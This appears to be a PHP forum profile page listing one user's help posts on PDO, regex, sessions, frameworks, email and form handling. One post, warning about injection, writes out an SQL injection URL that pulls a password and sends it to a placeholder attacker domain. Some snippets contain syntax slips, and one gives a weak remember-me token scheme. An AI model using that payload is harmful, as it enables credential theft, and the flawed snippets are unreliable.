-
Posts
5,959 -
Joined
-
Last visited
-
Days Won
146
Everything posted by gizmola
-
You got some great advice, as well as the answer, but to be very specific, here is your error: Fatal error: Uncaught Error: Cannot use object of type PDOStatement as array in /vhost/d/e/s/desmond-otoole.co.uk/www/Lottery2/secure/LotteryFunctionsPDO.php:22 So just reading the error, should tell you -- where is it you are trying to use anything in that code as an array? echo $stmt['N1']; So clearly, the problem is that, at runtime, $stmt was a PDOStatement Object. And you can not use that object like it is an array in PHP (unlike javascript). As Phi11w posted, that should tell you to look at the manual and determine what you might have done wrong.' Here is the fetch function you utilized: https://www.php.net/manual/en/pdostatement.fetch.php If you read the manual page you want to concentrate on what is returned: The return value of this function on success depends on the fetch type. In all cases, false is returned on failure or if there are no more rows. Looking at the manual, you'll note that because you passed no mode parameter: PDO::FETCH_BOTH (default): returns an array indexed by both column name and 0-indexed column number as returned in your result set. So you can make this code more efficient, by passing the parameter that tells PDO to only return an array with the keys being the column names. While we are fixing this up, you should take the time to make this function actually usable for more than one query, by making the SQL statement a parameter. function GetAllData($sql) { $pdo = connectDB(); $stmt = $pdo->prepare($sql); $stmt->execute(); $result = $stmt->fetch(PDO::FETCH_ASSOC); return $result; } And it should be obvious then that your function call will be: $row = GetAllData('SELECT * FROM EuroMillions ORDER BY Draw DESC'); if ($row) { // Do something with your result arrray } else { // Result set was invalid } Going further, PHP has some commonly accepted code standards you've violated here. It also appears you have hit upon the old adage that: So what I see here is that you have a function you called GetAllData, but it does not get all data. At best it gets one row. The other issue, in terms of php coding standards is that you have violated PSR-1 by naming your function GetAllData which is in "Pascal case" where the first Letter of the function name is capitalized. PSR-1 was extended in PSR-12 if you want to really embrace the standards used by the majority of professional PHP developers. So... to complete the fixes to your function.... function getOneRow($sql) { $pdo = connectDB(); $stmt = $pdo->prepare($sql); $stmt->execute(); $result = $stmt->fetch(PDO::FETCH_ASSOC); return $result; } If you actually wanted a similar function to return all the rows/data: function getAllRows($sql) { $pdo = connectDB(); $stmt = $pdo->prepare($sql); $stmt->execute(); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); return $result; } This would return you an array of 0..n associated arrays.
-
The reason it didn't work is because you have an html entity for a space in there. You could convert that to a space 1st. $patterns[] = '#<h3>(.*?)</h3>#'; $replacements[] = ''; $patterns[] = '# #'; $replacements[] = ' '; $patterns[] = '#<br \/>\s+<br \/>#'; $replacements[] = ''; $final = preg_replace($patterns, $replacements, $html);
-
I would need to have some sample text in order to determine what the issue might be. Do you understand what the regex is doing? It assumes there must be 2 br's with space between them. If it doesn't match that exactly it won't remove things. If there are other br's that need to be removed that can be handled, but what is in the actual database entries is important to understand. One other thing.. you are currently passing a limit of 1 match/replacement as the parameter. So if there are multiple occurrences, it will only take care of 1. I'm not sure why you are limiting it that way, but it could also explain a potential issue.
-
requinix made an excellent suggestion, that could be better if you want to have a whitelist/blacklist of tags. However, along the lines of what you are already doing, you could add an additional replacement pattern. This might need to be improved if there is any possibility of variation in the br tags, but if they are all standard and self closing as in your example text, one advantage of this is that it will find a br, followed by any amount of whitespace, followed by a 2nd br. <br \/>\s+<br \/> One of the nice things about preg_replace, when you need to do multiple replacements, is that you can set them up using 2 arrays and run them in one call. <h2 class="productsummaryheading mb-0">Product Summary</h2> <?php $html= substr($description,0,strrpos(substr($description,0,300)," ")); $patterns[] = '#<h3>(.*?)</h3>#'; $replacements[] = ''; $patterns[] = '#<br \/>\s+<br \/>#'; $replacements[] = ''; $final = preg_replace($patterns, $replacements, $html, 1); echo $final; ?> ...<a href="<?php echo $_SERVER["REQUEST_URI"]; ?>#productdescription">Read More</a>
-
I will 2nd Requinix's advice: Just use Symfony. I say this as someone who has built and/or extended a number of enterprise systems using Symfony and Laravel. They are both capable of doing most of what you want, and have things in common beyond both being MVC frameworks, as in for example, they both are examples of Dependency Injection frameworks. But of the two, Symfony has consistently made choices that represent forward thinking and the best practices in modern framework based software development. Symfony provides great utility, without sacrificing flexibility or resorting to "magic" and hard wired conventions. There was a time when Laravel's "opinionated ... just do it the way we tell you" was an advantage to developers new to php framework based development, and especially in the area of application users, authentication and security, as compared to symfony. Symfony was intentionally agnostic, flexible, and required more decision making on the part of the developer, with features like voters that allow you to create sophisticated authentication schemes that can factor in roles as well as data. Voters are great when you need them, but can be intimidating when you don't or aren't sure what they are for. At this point, all that has been smoothed out. Symfony is still architected to make it easy for people to plug into any of the many ways that people might want to implement or integrate with existing enterprise or single sign on infrastructure, however, for what you want, you can just use the maker bundle to generate the vast majority of code you need, and follow the advice and instructions in the Security documentation. Once you've chosen Symfony, significantly in my opinion, you get the Doctrine ORM which is superior to Laravel's Eloquent, and as you will make use of it for security, you'll also discover its utility and likely end up using it for many other things you build into your application. It is far better designed for advanced relational database features like transactions.
-
Yes, however, people can actually use a DMarc configuration to just flat out reject or quarantine emails that fail SPF or DKIM validation. The other thing to do is to make sure all the domains lineup, so that the user@domain of the email matches the domain check for SPF and DKIM.
-
who is responsible to configure docker ?
gizmola replied to Nolan81's topic in PHP Installation and Configuration
I would say that usually there is a team lead who set up the development environment, sometimes working with devops if there is internal infrastructure being supplied. These days with people using dotenv files for many things, you typically will need to create the dotenv files the project needs and in some cases set values that work for your local dev environment. I will typically create some template files with the variables needed and perhaps some examples, but before the containerized env works, some files have to be copied to the right dotenv file, and some config will probably have to be done before things will actually work. Then beyond that, if there's a database, there might be fixtures that have to be run to setup database values. Ideally people put the information you need into the README.md for the project, but as we all know, documenting things is often not considered a priority. -
A lot of people would probably say that many of these types of issues can be solved when you make use of the Dependency Injection (aka Inversion of Control) pattern. There are logging libraries like the well known "Monolog" component library: https://packagist.org/packages/monolog/monolog You would do something similar in regards to a copy operation, and not put sleep code in, which isn't a simulation of anything. You have a contrived example, and are using a unit test for something that, I guess appears to be a functional test. Unit tests are meant to insure that all code is executed, and the intention you had when writing a function or method can be proven to meet the design expectations. It is not something that people are expected to sit and watch. In fact, quite the opposite in situations where people are using the unit tests in Continuous Integration (CI) and possibly continuous delivery (CD). The very fact that you are trying to simulate the expectation that an end user would be sitting tailing a log or looking at a console tells you that you are in the realm of user experience and not unit testing.
-
In addition to Barand's excellent tutorial, which you should take advantage of, there are any number of sample databases you can use. If you're learning MySQL, there are several reference database schemas. There's an employee schema and "Salika" which is a fairly well fleshed out DVD rental schema. Here's a page that documents these and a few others for MS SQL for students of a Nanyang Tech University: https://www3.ntu.edu.sg/home/ehchua/programming/sql/SampleDatabases.html A little bit of googling will find you many many more.
-
It sounds like what you are describing is a custom work flow engine. Just editorially, a well known product that a lot of people know of in the software world is Jira. Most people think of Jira as an issue tracker, but it's actually a workflow engine with issue tracking workflows pre-configured. You can create any sort of workflow with it. I set up some fairly elaborate internal workflows for companies I worked for in the past. The level of complexity available, can make it very difficult to change a workflow once you started using it, which is one of the things that can be surprising about Jira. At any rate, there's a large list of workflow related products and software libraries you might take a look at. Unfortunately, like jira itself, a lot of Business Process Modelling (BPM) and workflow engines are written in Java, however I did note in the list, that there are libraries for both Laravel and Symfony frameworks that I would take a look at, even if it's just to see how someone else has solved the problem.
-
I fought a few xml wars in my day, most involving soap. Every now and then, some of this comes in handy. A lot of people working in web development don't realize it wasn't all that long ago that people were arguing over html4 vs xhtml.
-
I have about 10 pounds of old xml books in my office covering all this type of arcana. Fortunately (or not depending on how you look at it) we have people like Requinix and Barand on this forum, who have the memories of elephants -- quite appropriate given that the elePHant is the official mascot of the PHP project.
-
One thing of concern is that your site is leaking error information. Unless you changed this just for the purposes of debugging, you should have display_errors = Off, and be logging the errors instead to a log file. In terms of session timeout parameters, people are often given the impression that overriding the defaults with different runtime parameters is a solution, but the reality is, that the default handling will delete your session file, should garbage collection be run somewhere else on your site. The only way the timestamp on the session file will be updated, is if something in the session is updated. This is partially based on the default session setting for session.lazy_write which defaults to true. One way to handle this extension would be to update some session variable each time your refresh runs. However, given that this is a personal system for you, the best solution in my opinion would be to implement a "remember me" feature, which is a fairly standard addition to many website systems. The way you would handle remember me, is to add a security feature where your code (for you as the admin) sets a cookie in the future. Practically speaking, this cookie can now only be set a year in advance, and for security reasons, these types of limits are subject to change depending on what the browser developers decide. From what I've seen, Chrome for example, will only allow a cookie to set with an expiration a bit more than a year now. But you would do something like this: // Get these things from your user table: //$userId //$userName //$userCreatedDate (user account was created) // Generate the hash $rememberMeHash = sha1(uniqid($userName, true) . $userCreatedDate . $userId); // Now store this value (it's a 40 character hex string) in the row of your user table, for your personal/admin user. setcookie( "someCookieName", $rememberMeHash, time() + (365 * 24 * 60 * 60) ); After implementing this into your admin login, you then need to change your authentication to take this cookie into account. If authentication failed, check for your "remember me" cookie. If that value exists, see if there is a user who has that hash value in their user record. If found, handle this the same way you would if the user had authenticated with username/password and set the session up accordingly. In essence this will keep your login available for a year at a time, just so long as this remember me cookie exists.
-
PHP help needed. Webpage php script works for all teams except team "0"
gizmola replied to vbcoach's topic in PHP Coding Help
I should have checked the is_int manual page, and should have seen that it checks PHP's internal type. Thanks to Psycho and mac_gyver we got you there, but just to be complete, is_numeric will pass many numbers through that are not integers. To really do the job well, this is what I should have offered up from the beginning (and also takes advantage of the typecasting I wrote about. if (!isset($_GET['t']) || !is_numeric($_GET['t']) || !is_int((int)$_GET['t'] || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); exit; } It is always very important that location redirects are followed by an exit, because redirection is a function of the browser. The server is basically saying: "you go here", but it is up to the browser to actually follow that instruction. Bots and artificial clients may not play by the rules. So the script should at that point exit, so that no additional code is run, or access restriction bypassed. -
Based on what your ISP stated to you, they have a Varnish Cache server in between "clients" and your server. The cache control headers you are setting have no effect on the varnish server. They have configured it to cache your content for some period of time. You can learn a bit more about varnish by reading about it. Keep in mind that this is their cache server, likely to reduced overall traffic to their hosts, and seems not to be something they advertise, which is a bit shady, but such is the way of shared hosting companies. So when they asked you if you wanted to turn it off, at least for the purposes of this exercise the answer is "YES". This is the reason you are seeing the behavior you are seeing. The requests are going to the server, the Varnish cache server is intercepting those requests and serving a cached version of your actual response for some period of time. Once the setting expires, you see a new page.
-
PHP help needed. Webpage php script works for all teams except team "0"
gizmola replied to vbcoach's topic in PHP Coding Help
I want to also offer a simple fix for the huge sql injection hole this code has. At least in this script you can somewhat mitigate it by "casting" the url parameter to an integer. // change $id = $_GET['t']; // To $id = (int)$_GET['t']; Usually this would work well, as in most systems there won't be a row with an id of zero. If for example, someone tries to pass a url parameter like this one, it could be really bad: https:...yoursite.com?t= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.3w39ricodvyzuq0ood.somebadsite.net\1.xem',null,null)) Casting the get parameter to an integer would safely convert all that attempted sql injection code to 0. You have the unfortunate situation that you decided to have a zero id, so you can't use that as a safety net now. It's not the only nor best way to harden a system from sql injection attacks, but it is a simple and longstanding one, when your system intrinsically works with integer keys. With that said, I took Psycho's code and tweaked it a bit, which will at least get your system working again with 0, and will protect against sql injection, but this problem could exist throughout the other scripts, and fixing this one problem may not make it usable for you again. To be clear replace the first few lines with these lines: <?php require_once('seabass.php'); if (!isset($_GET['t']) || !is_int($_GET['t') || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); } And at least with this script your zero id team should load again. -
Pretty much all servers utilize UTC. If they don't, that is ... well, "non standard" and ill advised, yet people who run their own servers, will choose to set their server up to a local timezone frequently, or use a function like "date_default_timezone_set('Europe/London');" which is ill advised in my considered opinion. With a server set to UTC, Data is stored as UTC and defaults will be UTC, since database types in general don't have a timezone component, and rely on the server. I'm not sure what your code is doing, but it should rely on the intrinsic database types, which in turn will rely on the server's time. Once you know that everything is UTC, you can then transform any time to show it in the preferred timezone. PHP DateTime objects are sophisticated and fully capable of reliably and easily converting from one timezone to another, or taking a datetime and displaying it in the Timezone that is preferred for the end user. Since you are wanting London, it's already only +1 hours from UTC.
-
How to use PHP to Redirect to another page after form submition?
gizmola replied to Ezybusy's topic in PHP Coding Help
No, just trying to use javascript to post the same data the form is posting, is not going to fix whatever is not working right now. Did you debug the form handling using the developer tools of your browser? You want to open developer tools and use the Network Tab. Then submit your form and you should be able to look at the request and the response. This will show you if the server is returning any errors. As I said previously, the code you posted is simple and I see no problems with it. It most likely does work, only you are not getting the emails, and that has nothing to do with the code, and everything to do with how email works and the way your server works. Email deliverability is complicated, and to debug an issue with it requires a full understanding of your ISP. In most cases, to send an email, you must use a mail server they supply. if (mail($recipient, $subject, $email_content, $email_headers)) { This is the line of code that actually sends the email, but what it really is doing is dumping the mail to your server's Mail Transfer Agent. I can't 100% tell you this is the case without knowing more about your ISP and your server, but by default that is how it works. So to the PHP code, it looks like the mail is sent, but from there the mail will simply disappear because the MTA tries to forward the mail and that gets rejected. This does not happen in realtime, so you will never know (without looking at logs) that the mail was never delivered. Many ISP's do not allow mail to be sent directly from a server, using the MTA, as a way of rejecting spam. So in that case, they require you to deliver mail to their internal servers, and it will then be sent by their mail server for you. You really need support from your hosting company to debug a complicated problem like email in many cases. -
framework for easy database entry and retreival
gizmola replied to M.O.S. Studios's topic in PHP Coding Help
If you were to utilize an MVC framework like Laravel or Symfony, they each have libraries that can easily generate CRUD for simple updates. I'm not sure you're going to find anything which gives you a spreadsheet-like interface, but you may find it gets you most of the way to what you need. There are probably many of these I don't know about but just as a start: For Laravel: https://github.com/awais-vteams/laravel-crud-generator https://github.com/misterdebug/crud-generator-laravel For Symfony: Symfony has the maker bundle, that provides features that let you generate code, including CRUD. This article outlines some of the basic things you install: https://digitaldeveloper.dev/create-crud-symfony-7 There's also the well known Easyadmin bundle that works with Symfony 7: https://github.com/EasyCorp/EasyAdminBundle In both cases, you have to get a lot of the foundation classes built, and there will be a significant learning curve. You can customize things once you know what you are doing, but again it is going to require some developer knowledge. For example, people often will do a bit of integration with a css framework like bootstrap or tailwind in order to get things to look nice. -
How to use PHP to Redirect to another page after form submition?
gizmola replied to Ezybusy's topic in PHP Coding Help
One other thing I noticed is that you are going a bit crazy with your use of response codes. A 200 code will be sent automatically, and you should not be sending all these other responses unless this is a REST api, where a client is doing something with the responses. In this case, it appears you are just returning some information on an otherwise blank page. Typically people creating a feature like this will integrate the form with the submission (a self posting form) and display errors back to the user in the same form until they either give up, or are successful. With that said, I wouldn't try doing that until you have the redirection working. -
How to use PHP to Redirect to another page after form submition?
gizmola replied to Ezybusy's topic in PHP Coding Help
The code you added looks correct. First off, remove the end tag from your script. This is the final "?>" Also after the header call, add a line with "exit;" When you are testing this code, make sure you have your developer tools open, and you are looking at an emptied network tab when you submit the form. This will allow you to see what is going on when you submit the form, and you'll be able to look at the response. Any sort of error or message will interfere with the redirect in the HTTP header of the response, so this will help you debug that. -
One last very opinionated take, but in my experience, the best practice for HTML element naming is to use all lower case names, rather than camel case. It also helps to differentiate between php variables in camelcase and corresponding html elements. If you feel strongly you want to have a separator in your html names, then use underscore between words. It's best not to use dashes, as this will interfere/complicate using the very useful data-* feature of html/javascript integration, where data-* names will be turned into javascript camelcase equivalent values. I'm also a believer in using BEM when integrating your css. I find that, by following conventions, it gives you underlying best practices to guide you in variable naming. PHP has a community coding standard PSR-12 that is a best practice to follow. So your html form, would be translated to: <form method="post"> <input type="text" name="first_name" placeholder="First Name"><br> <input type="text" name="last_name" placeholder="Last Name"><br> <input type="submit" name="submit" value="Submit"> </form> Notice that I removed your value assignments. It's a bad idea to set the values of the form fields in advance like that, as submitting the form will have those values unless the user enters something into them. Then your processing becomes: function postTrim($formVariables) { foreach ($formVariables as $name) { if (isset($_POST[$name]) { $_POST[$name] = trim($_POST[$name]); } } } if(isset($_POST['submit'])){ $formVariables = ['first_name', 'last_name']; postTrim($formVariables); $message = ''; foreach ($formVariables as $name) { if (empty($_POST[$name]) { $message .= 'You must provide a value for ' . implode(array_map('ucfirst', explode('_', $name))) . '<br>'; } } if ($message) { // Invalid Form Post echo $message; exit; } echo "running script<br>"; $firstName = "First Name: {$_POST['firstname']}"; $lastName = "Last Name: {$_POST['lastname']}"; $file = fopen("file.txt", "a"); fwrite($file, $firstName); fwrite($file, $lastName); fclose($file); } So I added a quick helper function that will use a whitelist of your form element names, to make sure that each element has been trimmed of whitespace before/after the variable. It also will eliminate a field that just has spaces in it, but is otherwise empty. Then I added a check loop that goes through the whitelist and makes sure there were actual values posted. If not it displays an error message, and does not add to the file. I hope these examples will help you on your way to PHP based web development mastery. These are just simple examples, and I often don't actually check that the code is entirely valid, so there might be some bugs in there, but I encourage you to experiment, and read about any of the functions or things I've tried to demonstrate.
-
This is a common pattern, where you have a script that renders a form and also processes it. phppup provided a few great examples of how to handle it. Sometimes people will also choose to use the ability of PHP to provide you the HTTP method, given that you only want to process the form when the HTTP method was a POST. if ($_SERVER['REQUEST_METHOD'] === 'POST') { // This was a POST request. } However, with all that said, looking at your actual code, which I have put in the code block below, your code already should have been working, because it already evidently did what phppup demonstrated: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>Untitled 1</title> </head> <body> <form method="post"> <input type="text" name="firstName" placeholder="First Name" value="first name"> <br> <input type="text" name="lastName" placeholder="Last Name" value="last name"> <br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "running script"; if(isset($_POST['submit'])){ $firstName = "First Name:" . $_POST['firstName']. ""; $lastName = "Last Name:".$_POST['lastName'] . ""; $file = fopen("file.txt", "a"); fwrite($file, $firstName); fwrite($file, $lastName); fclose($file); } ?> The ONLY issue here, is that your script echos out "running script" regardless. If you moved that echo statement inside the if loop, you would perhaps not be fooled into thinking the code that you did not want to be run was running. In summary, your code already worked, but your debugging statement displayed even when the processing was not being run. One thing I would like to suggest to you, is that you can take advantage of variable interpolation. It is one of the things that makes PHP very nice to work with, not unlike the introduction of template literals in javascript. You have this concatenation: $firstName = "First Name:".$_POST['firstName'].""; But with interpolation, you can use the much more natural and simpler to read, debug and modify: $firstName = "First Name:{$_POST['firstName']}"; Interpolation is done anytime you utilize double quotes. It's good practice (although a micro optimization) to use single quotes anytime you want a string constant. When PHP sees double quotes around a string it will try to interpolate. With single quotes, it will not. $name = 'Gizmola'; echo "Hello $name <br>"; \\ output: Hello Gizmola <br> echo 'Hello $name <br>'; \\ output: Hello $name <br> I'm not sure why you originally had the extra "", which essentially does nothing, as the code is saying "add nothing to the end of this string." You can add things like newlines using escape characters. A newline character can be added using "\n". $firstName = "First Name:{$_POST['firstName']}\n"; Similar escape characters like tab can be inserted using this technique (in an interpolated string). Last but not least, you only need to enclose the variable inside a block ie, {variable}, when the variable is an array element, as in the case of the $_POST. Without putting the { .. } around the array variable, PHP is not able to parse the string properly, and you get a syntax error. Putting the block around array variables solves the problem. With simple php variables like "$name" you can just use them inside the double quoted string, and PHP will interpolate them into the resulting string variable. One of the strengths of PHP for web development is its HTML/PHP block modality, which you are using here. Before long, however, you likely want to have something like a header.php you include in scripts, so you aren't cutting/pasting the same HTML block into each script. Along these lines, PHP also has HEREDOCS which support interpolation. So you could move all of the your HTML boilerplate into a PHP script. In your case, at least trivially, you would want to have the page title be a variable, in this case $title. //htmlHead.php <?php $htmlHead = <<<HEADER <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>$title</title> </head> HEADER; Note a few things here: You do not ever need to have an ending PHP tag in your scripts, class files or function collections. The only time you need to use a php end tag (?>) is if you are dropping in and out of PHP mode. So now we can rewrite your original script this way: <?php $title = 'Name File Processing'; require_once('htmlHead.php'); echo $htmlHead; ?> <body> <form method="post"> <input type="text" name="firstName" placeholder="First Name" value="first name"> <br> <input type="text" name="lastName" placeholder="Last Name" value="last name"> <br> <input type="submit" name="submit" value="Submit"> </form> <?php if(isset($_POST['submit'])){ echo "running script<br>"; $firstName = "First Name: {$_POST['firstName']}"; $lastName = "Last Name: {$_POST['lastName']}"; $file = fopen("file.txt", "a"); fwrite($file, $firstName); fwrite($file, $lastName); fclose($file); } ?> </body>